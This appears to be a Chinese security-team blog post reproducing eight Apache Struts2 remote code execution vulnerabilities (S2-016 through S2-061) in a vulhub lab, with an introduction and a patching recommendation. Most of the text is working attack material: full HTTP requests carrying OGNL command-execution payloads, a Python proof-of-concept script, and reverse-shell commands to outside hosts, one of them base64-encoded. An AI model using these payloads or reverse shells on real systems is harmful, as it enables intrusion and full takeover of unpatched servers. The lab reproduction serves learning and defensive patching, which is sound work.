点击上方蓝字关注我们
0x1 前言
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。
它全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着非常大的变化,但是相对于WebWork,Struts 2的变化很小。
0x2 历史
2000年5月发展至今,Struts1已经成为了一个高度成熟的框架,不管是稳定性还是可靠性都得到了广泛的证明。市场占有率超过20%,拥有丰富的开发人群,几乎已经成为了事实上的工业标准。但是随着时间的流逝,技术的进步,Struts1的局限性也越来越多地暴露出来,并且制约了Struts1的继续发展。
Struts1已经分化成了两个框架:第一个是在传统的Struts1的基础上,融合了另外的一个优秀的Web框架WebWork的Struts2。Struts 2虽然是在Struts1的基础上发展起来的,但是实质上是以WebWork为核心的。Struts2为传统的Struts1注入了WebWork的先进的设计理念,统一了Struts1和WebWork两个框架。
0x3 环境准备
3.1 靶场环境
vulhub靶场环境
0x4 历史漏洞
截止到20211011最新struts2版本是2.5.26
4.1 S2-061 远程代码执行漏洞
S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒,而S2-061绕过了该沙盒。该漏洞影响版本范围是Struts 2.0.0到Struts 2.5.25。
环境启动后,访问http://target-ip:8080/index.action
查看到首页。
发送如下数据包,即可执行id
命令:
POST /index.action HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
bash -i >& /dev/tcp/1.1.1.1/4444 0>&1
在 Base64 编码的帮助下,下面的转换器可以帮助减少这些问题。它可以通过调用 Bash 或 PowerShell 再次使管道和重定向变得更好,并且还确保参数中没有空格。
http://www.jackson-t.ca/runtime-exec-payloads.html
将上面命令放入到要执行命令的括号里面。
反弹shell请求
POST /index.action HTTP/1.1
Host: 192.168.182.145:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 922
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4Mi4xMzQvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
4.2 S2-059 远程代码执行漏洞(CVE-2019-0230)
影响版本: Struts 2.0.0 - Struts 2.5.20
启动环境之后访问http://your-ip:8080/?id=1
就可以看到测试界面,访问 http://your-ip:8080/?id=%25%7B233*233%7D
,可以发现233*233的结果被解析到了id属性中:
《OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776)》给出了绕过struts2.5.16版本的沙盒的poc,利用这个poc可以达到执行系统命令。访问 http://your-ip:8080/?id=%25%7B233*233%7D
,可以发现233*233的结果被解析到了id属性中:
查看源代码:
通过如下Python脚本复现漏洞:
import requests
url = "http://127.0.0.1:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)
执行poc之后,进入容器
查看容器id:docker ps
进入docker:docker exec -it 7f8b773067b8 /bin/bash
发现touch /tmp/success
已成功执行。
4.3 S2-057 远程命令执行漏洞(CVE-2018-11776))
S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到xml上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码以及系统命令到服务器系统中去 。
影响版本:<= Struts 2.3.34, Struts 2.5.16
访问:http://192.168.247.103:8080/struts2-showcase
访问如下url:
进行计算既存在漏洞
执行命令的poc
${(#dm=OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance( .opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a= .lang.Runtime@getRuntime().exec('id')).( .apache.commons.io.IOUtils@toString(#a.getInputStream()))} .
POC进行URL编码后插入到GET请求中即可远程命令执行
4.4 S2-053 远程代码执行漏洞(CVE-2017-12611)
Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。
影响版本: Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10
环境运行后,访问http://your-ip:8080/hello.action
即可看到一个提交页面
输入如下Payload即可成功执行命令:
%{(#dm=OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance( .opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=( .lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).( .apache.commons.io.IOUtils@toString(#process.getInputStream()))} .
反弹shell
%{(#dm=OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance( .opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/1.1.1.1/6666 0>&1').(#iswin=( .lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).( .apache.commons.io.IOUtils@toString(#process.getInputStream()))} .
上述Payload末尾的换行不能掉,payload后面必须跟一个换行
4.5 S2-048 远程命令执行漏洞(CVE-2017-9791)
影响版本: 2.0.0 - 2.3.32
访问:http://your-ip:8080/showcase/
触发OGNL表达式的位置是Gangster Name
这个表单。
输入${233*233}
即可查看执行结果(剩下两个表单随意填写):
4.6 S2-045 远程代码执行漏洞(CVE-2017-5638)
影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
环境启动后,访问http://your-ip:8080
即可看到上传页面。
直接发送如下数据包,233*233
成功执行该漏洞就是存在
POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('test',233*233)}.multipart/form-data
4.7 S2-032 远程代码执行漏洞(CVE-2016-3081)
Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:<name>
的方式来调用名字是<name>
的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞。
直接请求如下URL,即可执行id
命令:
http://your-ip:8080/index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
4.8 S2-016 远程代码执行漏洞(CVE-2013-2251)
在struts2中,DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。
所以,访问http://your-ip:8080/index.action?redirect:OGNL表达式
即可执行OGNL表达式。
执行命令:
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a= .lang.Runtime ().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
获取web目录:
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}
0x5 总结
以上漏洞复现记录学习的过程,加强了自己动手能力,例如vulhub配置,docker环境配置,docker环境换源等问题,如果在平时遇到此漏洞,用互联网上公开的struts2 POC或EXP打就好了,在攻防演练中,struts2漏洞经常出现,建议在不影响业务情况下,把struts2版本更新到最新,或者打上官方给的补丁。
原文始发于微信公众号(灼剑安全团队):漏洞复现|Struts2多版本漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论